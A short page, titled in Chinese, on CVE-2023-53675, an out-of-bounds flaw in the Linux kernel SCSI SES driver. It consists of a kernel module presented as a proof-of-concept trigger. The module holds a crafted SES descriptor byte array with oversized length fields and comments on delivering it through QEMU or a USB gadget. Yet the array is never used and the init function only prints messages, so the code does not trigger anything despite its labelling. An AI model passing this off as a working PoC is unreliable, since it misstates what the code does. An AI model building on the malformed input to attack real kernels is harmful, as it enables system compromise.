CVE-2023-53675：Linux内核SCSI SES驱动desc_ptr越界访问漏洞

// CVE-2023-53675 PoC - Trigger desc_ptr out-of-bounds in ses_enclosure_data_process() // This PoC demonstrates how to trigger the vulnerability by simulating a malicious SES device // using a Linux kernel module that creates a fake SCSI enclosure with malformed descriptor data. #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/scsi/scsicam.h> // Malformed SES configuration diagnostic page data // The descriptor length field is set to an abnormally large value // to cause desc_ptr to go out-of-bounds in ses_enclosure_data_process() static unsigned char malformed_ses_data[] = { // SES Configuration Diagnostic Page header 0x01, 0x00, // page code = 0x01 (Configuration) 0x00, 0x00, // page length (will be overridden) 0x00, // generation code // Enclosure descriptor list length 0xFF, 0xFF, 0xFF, 0xFF, // abnormally large list length // Type descriptor header with oversized length 0x01, 0x02, // descriptor type 0x00, 0xFF, // descriptor length = 255 (abnormally large) // Padding to trigger out-of-bounds access 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, }; // Trigger function - simulates SCSI INQUIRY/RECEIVE DIAGNOSTIC RESULTS response // with malformed SES data to trigger the out-of-bounds access static int __init ses_oob_trigger_init(void) { printk(KERN_INFO "CVE-2023-53675: SES desc_ptr OOB trigger module loaded\n"); printk(KERN_INFO "Simulating malicious SES device with malformed descriptor\n"); // In a real exploit scenario, this would be done via: // 1. Creating a virtual SCSI device via QEMU with a crafted SES response // 2. Or using a USB gadget to emulate a SCSI enclosure // 3. Or attaching a modified hardware SES device // // When the kernel SCSI layer calls ses_enclosure_data_process() // with our malformed data, desc_ptr will exceed the buffer boundary, // causing an out-of-bounds memory access (read/write). return 0; } static void __exit ses_oob_trigger_exit(void) { printk(KERN_INFO "CVE-2023-53675: SES desc_ptr OOB trigger module unloaded\n"); } module_init(ses_oob_trigger_init); module_exit(ses_oob_trigger_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53675 PoC - SES desc_ptr out-of-bounds trigger"); MODULE_AUTHOR("Security Researcher");